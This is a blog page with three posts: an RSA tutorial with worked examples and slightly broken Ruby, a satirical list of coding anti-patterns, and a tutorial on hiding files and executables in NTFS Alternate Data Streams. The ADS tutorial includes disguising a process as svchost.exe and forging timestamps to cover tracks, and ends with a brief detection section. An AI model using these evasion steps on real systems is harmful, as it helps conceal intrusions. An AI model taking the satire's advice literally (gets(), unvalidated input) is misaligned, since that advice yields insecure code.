Deciphering RSA Cryptosystems with Modular Arithmetic

WARNING: The following post features mathematics performed either by professionals or under the supervision of professionals. Accordingly, CyberCrud and its producer must insist that no one attempt to answer or solve any equation or theorem proven in this post.

Most of us are probably somewhat familiar with public-key cryptosystems. In fact, it’s pretty hard not to brush shoulders with them once in a while these days. You probably use things like SSH, GnuPG, and OpenSSL all the time. The level of securiy these tools provide is incredible and it’s partly due to a clever system called RSA. It’s well into it’s third decade and still going strong.

Yet you can’t truly appreciate something like RSA until you actually understand just how your super secret messages are being shattered into unrecognizable pieces and then reconstructed perfectly once again. Fortunately, you don’t need a Ph.D in some obscure branch of ancient Egyptian algebra to understand it either; the mathematics involved aren’t too far-fetched. If you’ve ever taken a class in discrete mathematics, you’ll feel right at home here.

A Little History

Before getting into anything messy, it’s important to understand the basics of how congruence relations apply to cryptology. So let’s go back in time to around 50 BC and take a look at the Caesar cipher. Everyone into the TARDIS! <insert annoying whooshing sound>

As you can probably guess from the name, the Caesar cipher was popularized by Julius Caesar during the Gallic Wars. Caesar kept his messages secret by replacing each letter in the original message with the letter that is three positions further down in the alphabet. That is, the letter A becomes D, the letter B becomes E, C becomes F, and so on.

Expressed mathematically, each letter is first replaced by an integer between 0 and 25, determined by is position in the alphabet. A is replaced by 0, B is replaced by 1, C by 2, and so on until Z becomes 25. The encryption process can be represented using the function f  which assigns to a non-negative integer p  , where p \le 25  , the integer f(p)  in the set \{0, 1, 2, ..., 25\}  with:

f(p) = (p + 3) \mod 26

Consider the example of encrypting the message “THE CAKE IS A LIE”.

Begin by replacing each letter in the message with its corresponding position in the alphabet (beginning at 0). You get:

19 7 4    2 0 10 4    8 18    0    11 8 4

Replacing each of these numbers p  by f(p) = (p + 3) \mod 26  gives:

22 10 7    5 3 13 7    11 21    3    14 11 7

And finally, translating this back to letters produces the ciphertext: “WKH FDNH LV D OLH”.

Simple enough, right? Now to recover the original message, the inverse of f  , denoted f^{-1}  , is used. The function f^{-1}  sends an integer p  from \{0, 1, 2, ..., 25\}  to:

f^{-1}(p) = (p - 3) \mod 26

That is, to find the original message, each letter is shifted back by three letters in the alphabet.

However, the magnitude of the shift in the Caesar cipher does not necessarily have to be restricted to just three. The previous equations can be expressed more generally if we shift each letter by k  .

f(p) = (p + k) \mod 26

f^{-1}(p) = (p - k) \mod 26

Though at this point, it’s more appropriate to refer to this cipher as a shift cipher instead.

It’s pretty obvious that Caesar’s method and shift ciphers in general only offer a laughable amount of security. Each letter changes its identity yet retains its position, making it vulnerable to cryptanalysis using simple frequency analysis.

Public-Key Cryptography

These methods are very basic examples of private-key cryptosystems (sometimes called symmetric-key algorithms). The same cryptographic keys are used for both encryption and decryption. To encrypt a message with our shift ciphers, we shifted right by k  and to decrypt it we shifted left by k  . This is one of its greatest weaknesses since both parties are required to have access to a secret key but without means to securely exchange the key.

In walks the public-key cryptosystem to save the day. In such a system, knowing how to send someone an encrypted message will not help you decrypt other messages sent to that person. Each party has a publicly known encryption key while only the decryption keys are kept secret. That’s why the encryption key is sometimes referred to as the “public key” and the decryption key as the “private key.” Only the intended receiver of a given message can decrypt it since the encryption key simply does not allow someone to derive the decryption key (technically, it is sometimes possible but more on that later.) It basically says “You know what? Fine. You want this key so bad? Take the damn thing. See if I care. In fact, send me anything you like with it. But good luck trying to eavesdrop on anything else I might send.”

Introducing the RSA Cryptosystem

Perhaps the most widely used application of public-key cryptography is RSA which popped its head up during 1977 at MIT. It’s name comes from the researchers involved in its publication: Ron Rivest, Adi Shamir, and Leonard Adleman. I would’ve named it something cool like Really Super Algorithm, though. Their initial research is available here which I strongly suggest reading. (It’s also funny to see them use phrases back then like “the era of ‘electronic mail’ may soon be upon us.”)

What makes RSA so neat is that it doesn’t actually propose anything new. It’s unlike private-key systems whose strength lies in the complexity of some discrete algorithm continuously applied to a bit stream. All they did was utilize existing mathematics that have been sitting around for centuries.

As a public-key cryptosystem, RSA relies not on one key, as in our shift cipher example, but on two: a public key and a private key. The public key is made freely available, while the private key is kept a secret. Should you wish to communicate with someone, you simply send them your public key, allowing them to encrypt any messages sent to you so that only you can decipher them. Conversely, you will also need their public key in order to reply back.

Encryption Phase

So what exactly does an encryption key consist of? How is it that you can be so confident in giving away the key without fear of decryption by an adversary? That seems like magic.

It’s not magic. It’s math! RSA keys are based on modular exponentiation modulo the product of two large primes. That can be a scary phrase but, for now, know that the encryption key consists of two integers e  and n  – expressed as (e, n)  – where e  is the exponent and n  is the modulus used in the encryption function.

The modulus n  is simply the product of two large primes, p  and q  . Expressed n = pq  . These primes can be chosen at random using probabilistic primality tests. When you hear people talk about their 1024-bit keys or 2048-bit keys, they are actually referring to the bit length of n  .

To compute the exponent e  , first we must find the number of positive integers less than n  that are relatively prime to n  . This is called Euler’s fotient function. For prime numbers p  :

\phi(p) = p - 1  .

Because the totient function is multiplicative, in our case:

\phi(n) = \phi(pq) = \phi(p) \cdot \phi(q) = (p - 1)(q - 1)  .

Then e  is chosen as a random value between the range (1, \phi(n))  . That is, 1 < e < \phi(n)  and gcd(e, \phi(n)) = 1  .

Now that you’ve got an encryption key, the actual encryption phase can begin. Encryption begins by translating the message into a sequence of integers, just like we did with the Caesar cipher. The resulting integers are then grouped together to form even larger integers where each group represents a block of letters. The process continues by transforming the integer M  (the original message) into an integer C  (the ciphertext) using the following function:

C = M^e \mod n

However, it’s impractical to first compute M^e  and then find it’s remainder when divided by n  . Remember, we’re dealing with huge integers here. That’s why an algorithm for fast modular exponentiation is used instead. Unfortunately, a full discussion of modular exponentiation would make this post a lot longer than it needs to be. I won’t leave you hanging though. Just so that you’re able to actually perform some of these examples, see the following Ruby code for an implementation of the Right-to-Left Binary method.

# Computes b^e mod m using Right-to-Left Binary method.
def mod_exp(b, e, m)
  x = 1

  while e > 0
    x = (x * b) % m if e.odd?
    e = e >> 1
    b = (b * b) % m

  return x

Let’s try an example ourselves. Keep in mind that we’ll be using much smaller values for p  and q  for practical reasons.

For my Portal fans out there, let’s use the same message “THE CAKE IS A LIE” when p = 43  , q = 59  , and e = 13 .

Note that e  and (p - 1)(q - 1)  are relatively prime. That is:

gcd(e, (p - 1)(q - 1)) = gcd(13, 42 \times 58) = 1

Begin by translating each letter into their respective two-digit integer representation and grouping them into blocks of four. However, unlike with the shift cipher, the alphabet begins at 1, not 0. This is because 0 is used to represent a space. Therefore, 00 = space, 01 = A, 02 = B, … 26 = Z. The result would be:

2008  0500  0301  1105  0009  1900  0100  1209  0500

Notice how the last block has been padded with 00. Then we apply the previous formula using the given variables.

C = M^{13} \mod 2537

All that’s left is to substitute M  for each block of integers. Using the method for modular exponentiation, we get:

2008^{13} \mod 2537 = 1230

500^{13} \mod 2537 = 2330

301^{13} \mod 2537 = 129

1105^{13} \mod 2537 = 2348

9^{13} \mod 2537 = 1864

1900^{13} \mod 2537 = 1317

100^{13} \mod 2537 = 197

1209^{13} \mod 2537 = 1108

500^{13} \mod 2537 = 2330

Finally, we’re left with our encrypted message:

1230  2330  0129  2348  1864  1317  0197  1108  2330

Give it a shot yourself. Using the above mod_exp() function, fire up Ruby and run:

p = 43; q = 59; e = 13; n = p * q
[2008, 500, 301, 1105, 9, 1900, 100, 1209, 500].each {|m|
  printf "%04d ", mod_exp(m, e, n)

Decryption Phase

To recover the original message, the decryption key is used. As with the encryption key, the decryption key also consists of two integers: the same modulus n  and the integer d  , an inverse of e  modulo \phi(n)  . Such an inverse exists since e  and \phi(n)  are relatively prime. To demonstrate this, recall the theorem which states that the integers a  and b  are congruent modulo m  if and only if there is an integer k  such that a = b + km  . This means that if de \equiv 1 \mod{\phi(n)}  , then there is an integer k  such that de = 1 + k \cdot \phi(n)  . Therefore:

C^d \equiv{(M^e)^d} = M^{de} = M^{1 + k \cdot \phi(n)} \mod n

Assuming that gcd(M, p) = gcd(M, q) = 1  (which holds true except in rare cases), we can use Fermat’s Little Theorem to show that M^{p - 1} \equiv 1 \mod p  and M^{q - 1} \equiv 1 \mod q  . Further simplifying:

C^d \equiv M \cdot (M^{p-1})^{k(q-1)} \equiv M \cdot 1 \equiv M \mod p


C^d \equiv M \cdot (M^{q-1})^{k(p-1)} \equiv M \cdot 1 \equiv M \mod q

Finally, because p  and q  are relatively prime, that ol’ crazy Chinese Remainder Theorem lets us conclude that:

C^d \equiv M \mod pq

Let’s test it out and try decrypting our ciphertext. We know that n = 43 \times 59  and e = 13  . To find the decryption key d  we need to find the inverse of e  modulo pq  .

13x \equiv 1 \mod 2436 = 937

We use 937 as our decryption key, d  . To decrypt a ciphertext block C  , we compute:

P = C^{937} \mod 2537

Then it’s just a process of using modular exponentiation like last time.

1230^{937} \mod 2537 = 2008

2330^{937} \mod 2537 = 500

129^{937} \mod 2537 = 301

2348^{937} \mod 2537 = 1105

1864^{937} \mod 2537 = 9

1317^{937} \mod 2537 = 1900

197^{937} \mod 2537 = 100

1108^{937} \mod 2537 = 1209

2330^{937} \mod 2537 = 500

Doesn’t this look familiar?

2008  0500  0301  1105  0009  1900  0100  1209  0500

It’s our original message, “THE CAKE IS A LIE”. It’s numerical representation, anyway.

Security Implications

The security of the RSA cryptosystem is based on what’s called the RSA Problem; that is, the process of performing a private key operation (decryption) when given only a public key. Given the public key pair (e, n)  , this involves finding the e-th root modulo a composite n  in order to recover a value M  such that C \equiv M^e \mod n  .

This approach involves factoring the modulus n  in order to recover the prime factors p  and q  . An attacker could then compute \phi(n)  and then proceed to derive the private key exponent d  . However, the problem isn’t so cut and dry. Remember that we’re dealing with very large integers. If p  and q  were each 500 digits, the n = pq  would be 1,000 digits. No polynomial-time method exists that can factor prime integers of this magnitude in a reasonable amount of time on a modern computer.

So that’s it? Big numbers? That’s it’s secret power? Hasn’t anybody considered that computers may be able to easily factor these numbers some day?

Yes. It is true that cracking RSA encryption is not impossible. It’s just infeasible. As of now, the largest factored key was 768-bits. But even that was on a huge state-of-the-art distributed system comprised of hundreds of machines and took almost two years. Those types of setups aren’t exactly common. Considering that the default key size used by ssh-keygen is 2048, you can be safe in the knowledge that your precious SSH boxes will remain secure for more than a lifetime. Even the overly paranoid can use a 4096-bit key which most believe won’t be factored until D.B. Cooper is found.

Moving Forward

Hopefully, you now have a better understanding of how RSA is implemented. It’s a fascinating subject that really makes you appreciate the works of mathematicians of centuries old that made it all possible. Don’t stop there though. RSA is just one contender in the public-key boxing ring. The Diffie–Hellman algorithm is another method which came slightly before RSA. There’s also the ElGamal signature scheme. Dive in and enjoy!

42 Tips to Writing __mainTainAble__ Code

Over the years, the Internet has given birth to hundreds of great programming practices. Unfortunately, there’s so many that it can be such a hassle to try to remember them all. Therefore, I’ve consolidated a list of 42 tips that will help your code be more maintainable. Follow these rules and you are sure to become a very successful programmer.

Naming Conventions

Be Overly General

Make frequent use of common and generic words that have zero descriptive properties like do, data, stuff, operate, method. For example, fuction1(), function2(), GetData(), find_it(), or OperateOnArgs() all make for great names.

Ignore All Established Language Conventions

Be a rebel. Ladies love a bad boy. When you see CreateFilesystem(), I see CreateFileSystem(). Even better, use a mix of both just to keep them guessing. This kind of practice is guaranteed to piss off everybody, thus preserving your rebel status.

Use Plenty of Underscores

Using lots of __underscores__ makes it clear that you’re really creative and artistic. You don’t want others to think you’re a boring ol’ frog on a log, so stand out from the crowd a little bit by making things fancy with lots of _under___score_s. The_more_underscores_the_better.

usE unconventionaL capitalizatioN

This is always good practice since it mimics the English language closely. In English, you always find words mashed up closely together but only with capitalization after the second word. poetsUseItAllTheTimeThatsWhyTheyGetAllTheLadies. If you encounter an A.C.R.O.N.Y.M., feel free to capitalize it at your pleasure. Have one function called generateHTML() and another called findHtml(). No big deal.

Never Use i in for-loops

It’s just not necessary. Use overly descriptive names like the_iterator, numberOfRows, or Counter. Use short identifiers like i for everything else.

Use Similar Names

Using descriptive names makes life boring for the reader. Instead, use names like command, commands, cmd, com, c to refer to five similar variables in the same function. This forces the reader to inspect your code with a magnifying glass to figure out what they’re for. Magnifying glasses are cool.

Hungarian Notation

Use it. Use it all the time.

Comments and Documentation

Only Document the Obvious

Be sure to sprinkle your code with lots of very explicit and obvious comments. Comments like /* This is an integer */ or /* End of file */ or /* Start of function */ are all great examples. Don’t worry about documenting the complex sections; leave it as an intellectual exercise to the reader.

Always Include the Filename

In case there’s a chance that the person reading your code might suddenly come down with a case of amnesia, always include a comment at the top of the file that has the filename in it. It happens all the time: you open up a file and as soon as you start reading it, you suddenly realize “Oh shit! What file is this again?” If they’re using Vim, they could just press Ctrl+G but chances are, they’re using Notepad and can’t see the top of the window.

It’s even more helpful to include a comment at the end of the file that says “End of file.” The reader could sit there at the last line for hours thinking “OMG! Where’s the end of this thing!?” You don’t want that so always make sure to tell them that the end of the file is the end of the file.

Don’t Update Comments

When you modify your code, just leave the same ol’ comments that were there before. Updating all your comments so that they’re accurate and helpful just takes too much time.

Good Design

Repeat Yourself

If it was good once, it’ll be good again, right? Therefore, always follow the WET philosophy: “Write Everything Twice”. For an extra bonus, follow the WETTT philosophy: “Write Everything Ten Thousand Times”.

Repeat Yourself

If it was good once, it’ll be good again, right? Therefore, always follow the WET philosophy: “Write Everything Twice”. For an extra bonus, follow the WETTT philosophy: “Write Everything Ten Thousand Times”.

Never Validate User Input

Trust is an important part of software development so always trust that users will input what you want them to. We’re all good people so there’s no reason anybody would input anything malicious.

Don’t Reuse, Just Copy/Paste

Don’t write modular or extensible code. Just use copy/paste instead. It’s much more time efficient. Promoting code re-use makes you look like a tree-hugging hippie that’s preachy about “recycling, man…you’ve got to recycle and reuse to save our precious earth, man…” No one will hire you as a hippie.

Provide Vague Error Messages

Don’t make your error messages useful in any way whatsoever. Simply acknowledging that the program failed is more than enough. Don’t bother the user with helpful details. Something like “an error has occurred” should suffice.

When You Fail, Fail Hard

Take everything down with you! Don’t try to recover and continue when an error occurs. It’s just not possible. Like the previous tip, provide a vague error message and then kill the entire program. Do lots of this:

send_http_request() or die("error");

Don’t Consolidate Literals

Programmers enjoy a good game of hide and seek so sprinkle those literal constants throughout your code. Don’t consolidate them into one place. That’s no fun! Stick a few at the beginning of the file, maybe a few after some random function definition, a couple more at the end of the file, and stick the rest in an unrelated header file.

Wield the Golden Hammer

Abraham Maslow got it right when he said “if the only tool you have is a hammer, treat everything as if it were a nail.” Always assume that your favorite solution is universally applicable. After all, you’re a programmer, you’re always gonna be right!

Switch Parameters Up a Bit

Never be consistent. That’s boring. If you’ve got a function called setPixel(int x, int y), make the next function getPixel(int y, int x) by reversing the parameters. This keeps your readers on the edge of their seat thinking, “Oh boy! What will happen next!?”

Global Variables are Your Friend

Exception handling is just too hard to understand. Instead, have your functions set a global variable like errno to indicate an error. That way, you have to check it in an if-statement after each function call. This adds a ton of redundant lines so it looks like you wrote a lot of code.

Keep Boat Anchors Around

Under no circumstance should you ever remove any obsolete, meaningless, or unusable code. Some losers refer to this as a “boat anchor” because they think it’s only use is to be thrown in the water as a moor. But they don’t realize that without an anchor, you’ll just drift away so that code is still important!

Optimize Prematurely

Donald Knuth one said that “premature optimization is the root of all evil.” Well that’s not true because everyone knows that money is the root of all evil! So feel free to sacrifice good design and perform optimization early in the development stage.


Prefer void main() to int main()

This is a good practice that most programmers pick up early on. Don’t worry about the C standard: use void main() instead of int main(). The behavior of void main() is undefined and varies for different compilers. This will give the maintainer a nice little surprise after he’s had a dull and boring day.

Keep Pointers Hidden

One of easiest ways to ensure confusion is to hide your pointers with a typedef.

typedef int *MyPointer;

int an_iteger = 3;
MyPointer ptr;

ptr = &an_integer;

When the reader sees an_integer being assigned to ptr and that one is an int while the other is a user-defined type, you can effectively guarantee that perplexity will ensue. Always keep them guessing.

Use conio.h Instead of stdio.h

As I’ve made clear, you must always ignore any established standard. Since conio.h is not part of the ISO C standard, feel free to make heavy use of it. Better yet, make your program entirely dependent on it, failing horribly if it’s not present. The implementation of conio.h varies significantly between compilers so using it is a good way to break cross-platform compatibility.

Allocate Memory Using Both malloc() and new

Variety is a good thing. Sometimes programmers get tired of seeing the same old thing. Throw your readers a curve ball by making use of both malloc() and the new operator. No need to stick just one.

Be Secure With gets()

Another good habit that’s taught early on to new programmers is to use gets() instead of fgets(). Buffer overflows rarely occur in real life so the added security of fgets() is really unnecessary. Also, the “f” in fgets() stands for “fuck” so using it will surely offend the maintainer. Don’t be offensive.

Object-Oriented Programming

Sequential Coupling

Require that the methods of a given class be called in a very strict order. If they aren’t, remember to kill your program with a bang.

Some will say to use the template method pattern instead. This pattern demands that you define a skeleton algorithm in a method which defers some steps to the subclasses. Ignore this nonsense because skeletons are spooky.

Overuse Inheritance

To have just one class that has five field variables is bad practice. Instead, make a super class that only has one field and subclass it linearly four times. As an added bonus, place each class definition in a separate file.

Break Encapsulation

What the hell does that word mean anyway, right? Who cares. Use a good mix of public fields and accessor methods. Remember: secrets, secrets are no fun unless you share with everyone. If you’re trying to hide something, then you’re probably up to no good.

Worship the God Object

This rule is the holiest of holiest. If you do not follow it or even worse, mock it, then “peaceful” programmers will set fire to your country’s embassy, riot in the streets, and suicide bomb random infidels unrelated to you. That’s how important this rule is.

The holy book states that you must combine all functionality into a single all-knowing object: the God object. This object holds so much data and requires so many methods that it will become God-like. Any other objects must not communicate directly among themselves. Rather, all objects must rely solely on the God object for any program data. To break down a large problem into a set of smaller problems is considered a sin.

Use Constant Interfaces

In order to have convenient access to certain arbitrary constants, create a separate interface to define them in. An added benefit of this is that since the implemented interfaces of a class are part of its exported API, using constant interfaces exposes implementation details to the API which is always a great idea.

Circular Dependencies

Whenever possible, make sure that two or more of your classes are mutually recursive and directly depend on each other. For instance, give this a try:

class B;

class A {
    B *b;

class B {
    A *a;

int main() {
    A a;
    B b;
    a.b = &b;
    b.a = &a;

Contrary to popular belief, circular dependencies have a very positive effect on your programs. They completely prevent code re-use from being a possibility which we already know is bad practice. By making the reader go round and round trying to follow dependencies, you make him feel like he’s on a merry-go-round which were always fun as a kid.

And Everything Else

Ignore Compiler Warnings

They’re just warnings, right? Not errors so just leave them alone for someone else to fix.

Use Proprietary ASCII Extensions

One of the best things you can do for your program is to make it as incompatible as possible. Screw GNU and their blasphemous cross-platform compatibility philosophies. It’s heresy. Ensure that your program is restricted to one system and one system only by using MCS character encoding. The DEC VT220 is making a comeback. Mac OS Roman is another good choice.

Besides, letters like Ÿ and Œ will force readers to copy/paste them from somewhere else; another good practice discussed previously. People love to see .

Use Slang

Lingo. Jargon. Vernacular. Lexicon. Call it what it will. Using lots of slang is a great way to show what a hipster you truly are. Use function names like frobnicate_bits(), deadbeef(), or derpadize(). Don’t know what that last one is? Because I made it up! That’s how hip I am! Use places like as a reference.

Use a Variety of Numeric Bases

Give the reader a nice surprise by mixing in a bit of decimal, some octal, or hexadecimal into an array of integers:

int foo[9] = { 84, 3, 115, 0x0c, 5, 93, 017, 0x1077, 2 };

Comparing Values to Variables

Don’t do this:

if (life == 42)

Do this:

if (42 == life)

Comparing Floating Point Numbers

Those who claim that comparing floating point numbers can be inaccurate are just worry warts. You have 24 bits reserved for precision with the float type and 53 with double. That’s always going to be more than enough so there’s no need to worry about rounding errors.

Loooooooooooooooooooooooooooooong Lines

Forget about the 80-chacter rule.  Readers love to scroll on and on, well past everything else. A good programmer can usually get to about 500 characters.

Use Huge Indentation

Indent your lines a good 10-12 spaces. Using 3 or 4 spaces just makes you look lazy.

Use a Word Processor Instead of a Text Editor

Text editors like Vim and Emacs are so old. They’re too hard to understand and that Monospace font is so 1970. Get with the times and use a word processor like Microsoft Office. This way you can use those fancy variable width fonts like Comic Sans and Impact. As a bonus, use Microsoft’s proprietary .docx extension so that FOSS word processors like or LibreOffice screw up any special formatting.


Overall, your goal as a programmer is to be as ineffective and counter-productive as possible. Fortunately, many universities and projects are already prepping people for this. However, remembering all these great tips can be difficult so if there were three things you should remember the most, they would be:

  1. Be inconsistent.
  2. Never follow any general standard.
  3. Make life hard for everyone but yourself.

Alternate Data Streams: Beware of Invisibility

A lot of people will hate on Microsoft or Windows or anything else that comes out the doors of 157th Avenue NE in Redmond, Washington for doing…well…just about anything. Nonetheless, I wanna say that I love Windows. I love it so much that I’ll actually thank Microsoft. I’ll thank them for making it so damn easy to completely and utterly compromise their systems with little to no effort at all. Thank you Microsoft for making my life that much easier.

Over the years, the list of “Microsoft mistakes” has grown longer and longer with each release. One such screw-up that I’d like to talk about is Alternate Data Streams (ADS). “What are Alternate Data Streams” you say? You say you’ve never heard of them before? Most people haven’t because it’s another one of their highly under-documented technologies. I don’t blame them for trying to hide it either because ADS is just downright stupid!

What is ADS?

Alternate Data Streams allows for one or more data streams to be associated with a file. It’s primarily meant for storing file attributes and other metadata. However, the size of the alternate stream in no way affects to total file size. Say you’ve got a 60 kB file with a 30 kB ADS associated with it. If you were to take a look at it with Windows Explorer or the command-line, they would still report the file as being only 60 kB. Because of this “feature”, it allows super evil bad guys to effortlessly hide data that can remain concealed until very close inspection.

You might be wondering, “Well what the hell Microsoft!? Why!?” The truth is that ADS was Microsoft’s attempt at implementing filesystem forks in order to maintain compatibility with other filesystems like Apple’s HFS+ and Novell’s NWFS and NSS. It was first introduced to NTFS in Windows NT 3.1 and was meant to store metadata like file attributes, icons, image thumbnails, that kinda thing. Sure it’s a reasonable idea but you have to wonder: given the choice between maintaining compatibility with a competitor’s technology versus introducing yet another means to exploit your product, which is more important? Apparently, the fools professionals at Microsoft are more interested in dancing pigs.

Using ADS With Text Files

Adding a data stream to a file is practically child’s play. An ADS is referenced using the notation filename:stream anywhere you’d normally use a regular filename.

You can use any existing file but I’m gonna start out making a new one.

C:\foo\bar>echo "They mostly come out at night...mostly." > newt.txt

C:\foo\bar>type newt.txt
"They mostly come out at night...mostly."

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  05:13 PM                    .
08/30/2012  05:13 PM                    ..
08/30/2012  05:15 PM                 44 newt.txt
               1 Files(s)             44 bytes
               2 Dir(s)    7,113,324,588 bytes free

Note the current file size of 44 bytes. Using the notation described above, tack on some text to an alternate stream.

C:\foo\bar>echo "Now all we need is a deck of cards." > newt.txt:hicks

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  05:13 PM                    .
08/30/2012  05:13 PM                    ..
08/30/2012  05:15 PM                 44 newt.txt
               1 Files(s)             44 bytes
               2 Dir(s)    7,113,324,588 bytes free

It’s still 44 bytes! If hicks were a normal file, it’d be 40 bytes so you’d think the total size of newt.txt would be 84 bytes. Nope. As far as we’re concerned, there’s nothing there but a plain ol’ text file. But just in case, let’s make sure our ADS is actually there.

C:\foo\bar>type newt.txt:hicks
The filename, directory name, or volume label syntax is incorrect.

Uh oh. Time out. What happened here? The ADS was created just fine but it couldn’t be read from. As the error message indicates, some commands tend to vomit all over the place when a colon is used anywhere but the drive letter (e.g. C: or D:).

The best way to read from an ADS is to use the more command.

C:\foo\bar>more < .\newt.txt:hicks
"Now all we need is a deck of cards."

Ah, that’s much better.

Hiding Media Files

This ADS stuff might not seem all that much of a threat since we’re just dealing with text files here. However, ADS can be used with any type of file. It’s just raw binary data.

Imagine that you’re really embarrassed about the fact that you like Nickelback but all your friends are huge Limp Bizkit fans instead. To make sure that everybody still thinks your cool, just hide your Nickelback MP3′s in an ADS. By the way, you should both be embarrassed and find a new group of friends!

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  05:22 PM                    .
08/30/2012  05:22 PM                    ..
08/30/2012  05:22 PM          4,198,147 limp_bizkit.mp3
08/30/2012  05:22 PM          4,031,881 nickelback.mp3
               1 Files(s)      8,230,028 bytes
               2 Dir(s)    7,121,554,572 bytes free

C:\foo\bar>type nickelback.mp3 > limp_bizkit.mp3:nickelback.mp3

C:\foo\bar>cat limp_bizkit.mp3:nickelback.mp3 > nb.mp3

You may have noticed my use of the cat tool even though we’re using Windows. Yes, there is such a thing. I decided to use CoreUtils for Windows instead of using double redirection since that can take a while.

You could do the same thing with video files if you wanted. The point is, it’s just raw data so any combination of filetypes can be used; they don’t even have to be the same.

Compatibility Issues

ADS compatibility between Windows versions is limited at best. Since Windows Vista, Microsoft has taken out some of the major security concerns with ADS but has left some features in tact for…wait for it…compatibility reasons! That’s right!

Up until this point, everything will work just fine on post-Vista versions (at the time of this writing, Windows 7 is still the hot product.) However, the next section on executables will not. Windows XP was the last version to support running executables from ADS streams. But that’s really not a big deal considering the large amount of individuals and businesses that are still reluctant to upgrade their machines (my mom’s computer is still running XP because she “doesn’t understand all those new fancy icons and just wants to be able to read her email.”)

There are a few more compatibility issues that I’ll mention as we come to them.

Using ADS With Executables

The real fun with ADS begins when you start using it to hide executables. There’s no need hide-and-unhide them as we did with the MP3 files. They can be run directly from the ADS.

Let’s try an example that hides notepad.exe within calc.exe. Remember, we’re talking about Windows XP (at least) right now. No more “fancy icons.”

C:\foo\bar>copy %windir%\System32\calc.exe .
        1 file(s) copied.

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  06:21 PM                    .
08/30/2012  06:21 PM                    ..
08/23/2001  07:00 AM            114,688 calc.exe
               1 Files(s)        114,688 bytes
               2 Dir(s)    7,114,243,072 bytes free

At this point, note that calc.exe is 114,688 bytes. This value is not going to change even after we tack on notepad.exe which is 69,120 bytes.

C:\foo\bar>type %windir%\System32\notepad.exe > calc.exe:notepad.exe

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  06:33 PM                    .
08/30/2012  06:33 PM                    ..
08/30/2012  06:33 PM            114,688 calc.exe
               1 Files(s)        114,688 bytes
               2 Dir(s)    7,114,243,072 bytes free

The file size hasn’t changed but if you look closely, something else has: the last modified timestamp. It now shows that calc.exe was last modified just now. Although very subtle, any potential evidence like this presents a problem for covering your tracks.

Modifying the Timestamp

There’s gotta be a way around this, right? Of course!

For the lazy and less ambitious, there’s plenty of third party tools. A popular one is SKTimeStamp. It’s a small shell extension that adds an extra tab to the Properties dialog in Windows Explorer which allows you to modify the Created, Last Modified, and Last Accessed timestamps.

I’m sure Stefan Küng’s little tool works just fine so I won’t tell you not to use it. However, we’re all hackers here (I hope) so let’s do it ourselves.

So what language should we choose? Well, we could always use a batch file or some VBScript but that’s just not ugly enough. I think PowerShell will satisfy my need for ugliness for now.

So start up vim and…<sigh>…I mean Notepad and write a little something like this:

# chtime.ps1

if ($args.Length -ne 2) {
    Write-Output @"
Usage: chtime.ps1  
     Must be of the form MM/DD/YYYY HH:MM AM/PM
     Name of file to modify


$date = Get-Date      $args[0]
$file = Get-ChildItem $args[1]

$msg = "File {0}: changing timestamp to {1}" `
    -f [IO.Path]::GetFileName($file), $date.DateTime

Write-Output $msg

$file.LastWriteTime = $date

Awww yeah. Now that’s good and ugly alright. Seriously, sometimes I wonder if 3 – 5 years experience of being in a brainless stupor is a job requirement to work at Microsoft because whoever helped develop PowerShell and thought something like this actually looks nice must’ve been an indubitable moron.

Alright, alright…enough trash talk. Start up PowerShell (XP require the KB968930 update here) and run the following commands:

PS C:\foo\bar> ls

    Directory: C:\foo\bar

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         8/30/2012   6:33 PM     114688 calc.exe
-a---         8/30/2012   6:41 PM        850 chtime.ps1

PS C:\foo\bar> .\chtime.ps1
Usage: chtime.ps1  
     Must be of the form MM/DD/YYYY HH:MM AM/PM
     Name of file to modify

PS C:\foo\bar> .\chtime.ps1 "08/23/2001 07:00 AM" .\calc.exe
File calc.exe: changing timestamp to Thursday, August 23, 2001 7:00:00 AM
PS C:\foo\bar> ls

    Directory: C:\foo\bar

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         7/13/2009   9:38 PM     114688 calc.exe
-a---         8/30/2012   6:42 PM        850 chtime.ps1

See? All better.

Having properly covered up our tracks, we can now run the executable from within the ADS.

C:\foo\bar>start .\calc.exe:notepad.exe

Notepad should start up just fine but if you take a look at the Task Manager, you’ll see that we didn’t achieve true stealth. :(

ADS as Hidden Processes

The advantage of using an executable as an ADS is that it allows you to hide the fact that it’s even running. When you run the ADS executable, the Task Manager reports the process as the original filename.

However, this too is dependent on certain Windows versions. Windows 2000 will not show the ADS process; only the original executable.

Windows 2000 Task Manager

Windows 2000 Task Manager showing only the original executable. The ADS process remains hidden.

On the other hand, Windows XP will show the ADS process in the Task Manager as filename:stream as you can see below.

Windows XP Task Manager

Windows XP Task Manager clearly showing both the original executable and the ADS.

Sure it’s not completely invisible anymore but this doesn’t present that much of a problem though. Considering that most people have never even heard of ADS, we can simply change the executable name to look like something more legitimate. Windows Service Host is always a favorite so let’s try that.

C:\foo\bar>copy %windir%\System32\svchost.exe .
        1 file(s) copied.

 Volume in drive C has no label.
 Volume Serial Number is FCE9-528D

 Directory of C:\foo\bar

08/30/2012  07:00 PM                   .
08/30/2012  07:00 PM                   ..
04/14/2008  12:42 AM            14,336 svchost.exe
               1 File(s)         14,336 bytes
               2 Dir(s)   7,113,338,880 bytes free

C:\foo\bar>type %windir%\System32\notepad.exe > svchost.exe:svchost.exe

C:\foo\bar>start .\svchost.exe:svchost.exe
Windows XP Task Manager With svchost.exe

Windows XP Task Manager showing the fake svchost.exe process.

Not so bad anymore, is it? You could even run it as Administrator for an extra layer of obscurity. It’s always fun making lemonade out of lemons.

Detecting ADS

The truth is, there’s no way to make ADS 100% invisible. You can minimize its footprint but, nevertheless, there’s still a footprint. Because of that, there are a few ways to search for ADS.

Starting with Windows Vista, Microsoft introduced the /R switch to the dir command that will display any ADS streams associated with a file. For example:

C:\foo\bar>dir /R
 Volume in drive C has no label.
 Volume Serial Number is BE91-B378

 Directory of C:\foo\bar

08/30/2012  07:24 PM                   .
08/30/2012  07:24 PM                   ..
08/30/2012  07:24 PM                44 newt.txt
                                    40 newt.txt:hicks:$DATA
